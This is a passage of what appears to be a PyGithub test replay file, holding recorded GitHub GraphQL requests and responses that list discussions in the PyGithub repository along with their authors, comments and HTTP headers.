0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"PyGithub support for Team","createdAt":"2021-08-03T13:15:08Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"MDEwOkRpc2N1c3Npb24zMjQzMTgx","url":"https://github.com/PyGithub/PyGithub/discussions/1864","number":1864,"author":{"login":"Nuzair46","avatarUrl":"https://avatars.githubusercontent.com/u/38219313?u=4aa52dfb28c4bd3c748b48c8864bc12dc04d6c49&v=4","url":"https://github.com/Nuzair46"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"get_contributers","createdAt":"2021-02-27T12:08:05Z","comments":{"totalCount":2,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wNC0xOVQxNjo1Mzo1MiswMjowMM4ACZ_J","endCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wNy0xOFQwNDo1NDoxNSswMjowMM4AD4Ya","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50NjMwNzI5","url":"https://github.com/PyGithub/PyGithub/discussions/1864#discussioncomment-630729","createdAt":"2021-04-19T14:53:52Z","author":null,"isAnswer":false,"replies":{"totalCount":2,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOAAmgig==","endCursor":"Y3Vyc29yOnYyOpHOAAmubQ==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50NjMwOTIy","url":"https://github.com/PyGithub/PyGithub/discussions/1864#discussioncomment-630922","createdAt":"2021-04-19T15:28:42Z","author":{"login":"Nuzair46","avatarUrl":"https://avatars.githubusercontent.com/u/38219313?u=4aa52dfb28c4bd3c748b48c8864bc12dc04d6c49&v=4","url":"https://github.com/Nuzair46"}},{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50NjM0NDc3","url":"https://github.com/PyGithub/PyGithub/discussions/1864#discussioncomment-634477","createdAt":"2021-04-20T10:26:10Z","author":{"login":"Nuzair46","avatarUrl":"https://avatars.githubusercontent.com/u/38219313?u=4aa52dfb28c4bd3c748b48c8864bc12dc04d6c49&v=4","url":"https://github.com/Nuzair46"}}]}},{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50MTAxNzM3MA==","url":"https://github.com/PyGithub/PyGithub/discussions/1864#discussioncomment-1017370","createdAt":"2021-07-18T02:54:15Z","author":{"login":"kaustubhgupta","avatarUrl":"https://avatars.githubusercontent.com/u/43691873?u=8dd738718ac7ffad4ef31e86b5d780a1141c695d&v=4","url":"https://github.com/kaustubhgupta"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"MDEwOkRpc2N1c3Npb24zMzg4NzEy","url":"https://github.com/PyGithub/PyGithub/discussions/1964","number":1964,"author":{"login":"Captain8771","avatarUrl":"https://avatars.githubusercontent.com/u/81252038?u=aa4db48c425922586bf9a42d21ffea28a1e9644c&v=4","url":"https://github.com/Captain8771"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"ModuleNotFoundError: No module named 'github' but i pip installed pygithub?","createdAt":"2021-05-29T10:00:16Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wNS0zMFQwODo1NTowNSswMjowMM4ADEGS","endCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wNS0zMFQwODo1NTowNSswMjowMM4ADEGS","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50ODAzMjE4","url":"https://github.com/PyGithub/PyGithub/discussions/1964#discussioncomment-803218","createdAt":"2021-05-30T06:55:05Z","author":{"login":"aahnik","avatarUrl":"https://avatars.githubusercontent.com/u/66209958?u=b2112f9e4b69aafdb5e3a331767ab053ecf19d73&v=4","url":"https://github.com/aahnik"},"isAnswer":true,"replies":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOAAxEMQ==","endCursor":"Y3Vyc29yOnYyOpHOAAxEMQ==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50ODAzODg5","url":"https://github.com/PyGithub/PyGithub/discussions/1964#discussioncomment-803889","createdAt":"2021-05-30T15:47:09Z","author":{"login":"Captain8771","avatarUrl":"https://avatars.githubusercontent.com/u/81252038?u=aa4db48c425922586bf9a42d21ffea28a1e9644c&v=4","url":"https://github.com/Captain8771"}}]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"MDEwOkRpc2N1c3Npb243Mzc4NA==","url":"https://github.com/PyGithub/PyGithub/discussions/1790","number":1790,"author":{"login":"ssbarnea","avatarUrl":"https://avatars.githubusercontent.com/u/102495?u=c7bd9ddf127785286fc939dd18cb02db0a453bce&v=4","url":"https://github.com/ssbarnea"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How to batch enable auto-merges on multiple repositories?","createdAt":"2020-12-17T09:22:51Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wNS0xOFQxODoxOTowMiswMjowMM4AC4C3","endCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wNS0xOFQxODoxOTowMiswMjowMM4AC4C3","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50NzUzODQ3","url":"https://github.com/PyGithub/PyGithub/discussions/1790#discussioncomment-753847","createdAt":"2021-05-18T16:19:02Z","author":{"login":"Plabick","avatarUrl":"https://avatars.githubusercontent.com/u/7085883?u=6c3373543ebb05a7430e64cf218b97f3a83a4bfe&v=4","url":"https://github.com/Plabick"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"MDEwOkRpc2N1c3Npb24zMzU4MDAz","url":"https://github.com/PyGithub/PyGithub/discussions/1946","number":1946,"author":{"login":"astrochun","avatarUrl":"https://avatars.githubusercontent.com/u/20305734?u=84a111e22eef413d58e1370acea7cb12d075fc05&v=4","url":"https://github.com/astrochun"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Exporting JSON about repositories","createdAt":"2021-05-09T23:01:57Z","comments":{"totalCount":2,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wNS0xMFQwMzo0NDoyMCswMjowMM4ACu7F","endCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wNS0xMFQwNjowMjozOCswMjowMM4ACu-J","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50NzE2NDg1","url":"https://github.com/PyGithub/PyGithub/discussions/1946#discussioncomment-716485","createdAt":"2021-05-10T01:44:20Z","author":{"login":"s-t-e-v-e-n-k","avatarUrl":"https://avatars.githubusercontent.com/u/15225059?u=a70d4bde1715f244fe491027977198fd6c44ee3a&v=4","url":"https://github.com/s-t-e-v-e-n-k"},"isAnswer":false,"replies":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOAArvQg==","endCursor":"Y3Vyc29yOnYyOpHOAArvQg==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50NzE2NjEw","url":"https://github.com/PyGithub/PyGithub/discussions/1946#discussioncomment-716610","createdAt":"2021-05-10T02:59:54Z","author":{"login":"astrochun","avatarUrl":"https://avatars.githubusercontent.com/u/20305734?u=84a111e22eef413d58e1370acea7cb12d075fc05&v=4","url":"https://github.com/astrochun"}}]}},{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50NzE2Njgx","url":"https://github.com/PyGithub/PyGithub/discussions/1946#discussioncomment-716681","createdAt":"2021-05-10T04:02:38Z","author":{"login":"s-t-e-v-e-n-k","avatarUrl":"https://avatars.githubusercontent.com/u/15225059?u=a70d4bde1715f244fe491027977198fd6c44ee3a&v=4","url":"https://github.com/s-t-e-v-e-n-k"},"isAnswer":false,"replies":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOAArvzg==","endCursor":"Y3Vyc29yOnYyOpHOAArvzg==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50NzE2NzUw","url":"https://github.com/PyGithub/PyGithub/discussions/1946#discussioncomment-716750","createdAt":"2021-05-10T04:59:20Z","author":{"login":"astrochun","avatarUrl":"https://avatars.githubusercontent.com/u/20305734?u=84a111e22eef413d58e1370acea7cb12d075fc05&v=4","url":"https://github.com/astrochun"}}]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"MDEwOkRpc2N1c3Npb24zMzQ0NzIz","url":"https://github.com/PyGithub/PyGithub/discussions/1936","number":1936,"author":{"login":"bhushanladdad","avatarUrl":"https://avatars.githubusercontent.com/u/82919474?v=4","url":"https://github.com/bhushanladdad"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"get_contents thorws error UnknownObjectException","createdAt":"2021-04-30T03:33:06Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wNC0zMFQwNzoxOToyMyswMjowMM4ACldw","endCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wNC0zMFQwNzoxOToyMyswMjowMM4ACldw","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50Njc3NzQ0","url":"https://github.com/PyGithub/PyGithub/discussions/1936#discussioncomment-677744","createdAt":"2021-04-30T05:19:23Z","author":{"login":"s-t-e-v-e-n-k","avatarUrl":"https://avatars.githubusercontent.com/u/15225059?u=a70d4bde1715f244fe491027977198fd6c44ee3a&v=4","url":"https://github.com/s-t-e-v-e-n-k"},"isAnswer":false,"replies":{"totalCount":3,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOAApfZw==","endCursor":"Y3Vyc29yOnYyOpHOAApngQ==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50Njc5Nzgz","url":"https://github.com/PyGithub/PyGithub/discussions/1936#discussioncomment-679783","createdAt":"2021-04-30T14:22:05Z","author":{"login":"bhushanladdad","avatarUrl":"https://avatars.githubusercontent.com/u/82919474?v=4","url":"https://github.com/bhushanladdad"}},{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50NjgxODM2","url":"https://github.com/PyGithub/PyGithub/discussions/1936#discussioncomment-681836","createdAt":"2021-05-01T02:59:21Z","author":{"login":"bhushanladdad","avatarUrl":"https://avatars.githubusercontent.com/u/82919474?v=4","url":"https://github.com/bhushanladdad"}},{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50NjgxODU3","url":"https://github.com/PyGithub/PyGithub/discussions/1936#discussioncomment-681857","createdAt":"2021-05-01T03:33:10Z","author":{"login":"bhushanladdad","avatarUrl":"https://avatars.githubusercontent.com/u/82919474?v=4","url":"https://github.com/bhushanladdad"}}]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]}}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) {\n repository(name: $repo, owner: $owner) {\n discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n url\n number\n author {\n login\n avatarUrl\n url\n }\n repository {\n owner { login }\n name\n issues(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n databaseId\n id\n number\n title\n }\n }\n }\n title\n createdAt\n comments(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n url\n createdAt\n author {\n login\n avatarUrl\n url\n }\n isAnswer\n replies(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n url\n createdAt\n author {\n login\n avatarUrl\n url\n }\n }\n }\n }\n }\n labels(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n name\n issues(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n databaseId\n id\n number\n title\n }\n }\n }\n }\n }\n }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "answered": null, "category_id": null, "states": null, "first": 30, "after": "Y3Vyc29yOnYyOpK5MjAyMS0wNS0wMVQwNTozMzoxMCswMjowMM4AMwlT"}} 200 [('Date', 'Tue, 17 Sep 2024 11:00:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4882'), ('X-RateLimit-Reset', '1726571100'), ('X-RateLimit-Used', '118'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FA2:221185:113554:115F6A:66E9613D')] {"data":{"repository":{"discussions":{"totalCount":65,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wMy0xOFQwMzowODowMSswMTowMM4ALjaQ","endCursor":"Y3Vyc29yOnYyOpK5MjAyMC0xMi0wOVQwNjo0NDozMiswMTowMM2_Dw==","hasNextPage":false,"hasPreviousPage":true},"nodes":[{"id":"MDEwOkRpc2N1c3Npb24zMDI4NjI0","url":"https://github.com/PyGithub/PyGithub/discussions/1848","number":1848,"author":{"login":"dejokz","avatarUrl":"https://avatars.githubusercontent.com/u/6295808?u=7132032b8c925592a2cfba73ec7d822655b930d6&v=4","url":"https://github.com/dejokz"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How to get number of open and closed issue of a repo","createdAt":"2021-02-07T14:48:21Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wMy0xOFQwMzowODowMCswMTowMM4AB5NY","endCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wMy0xOFQwMzowODowMCswMTowMM4AB5NY","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50NDk2NDcy","url":"https://github.com/PyGithub/PyGithub/discussions/1848#discussioncomment-496472","createdAt":"2021-03-18T02:08:00Z","author":{"login":"walterrowe","avatarUrl":"https://avatars.githubusercontent.com/u/7131288?u=d995f2a0e79d81e5e1cbc5d20d8e9c72aa295f4d&v=4","url":"https://github.com/walterrowe"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"MDEwOkRpc2N1c3Npb24zMjI2MTI4","url":"https://github.com/PyGithub/PyGithub/discussions/1854","number":1854,"author":{"login":"MarkWilsonODS","avatarUrl":"https://avatars.githubusercontent.com/u/70649883?u=5c82d66772a7231d4d31965be7b2af1fe293f0a5&v=4","url":"https://github.com/MarkWilsonODS"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Repo visibility","createdAt":"2021-02-17T15:13:07Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"MDEwOkRpc2N1c3Npb24xNjY3ODM4","url":"https://github.com/PyGithub/PyGithub/discussions/1819","number":1819,"author":{"login":"kenorb","avatarUrl":"https://avatars.githubusercontent.com/u/266306?v=4","url":"https://github.com/kenorb"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full 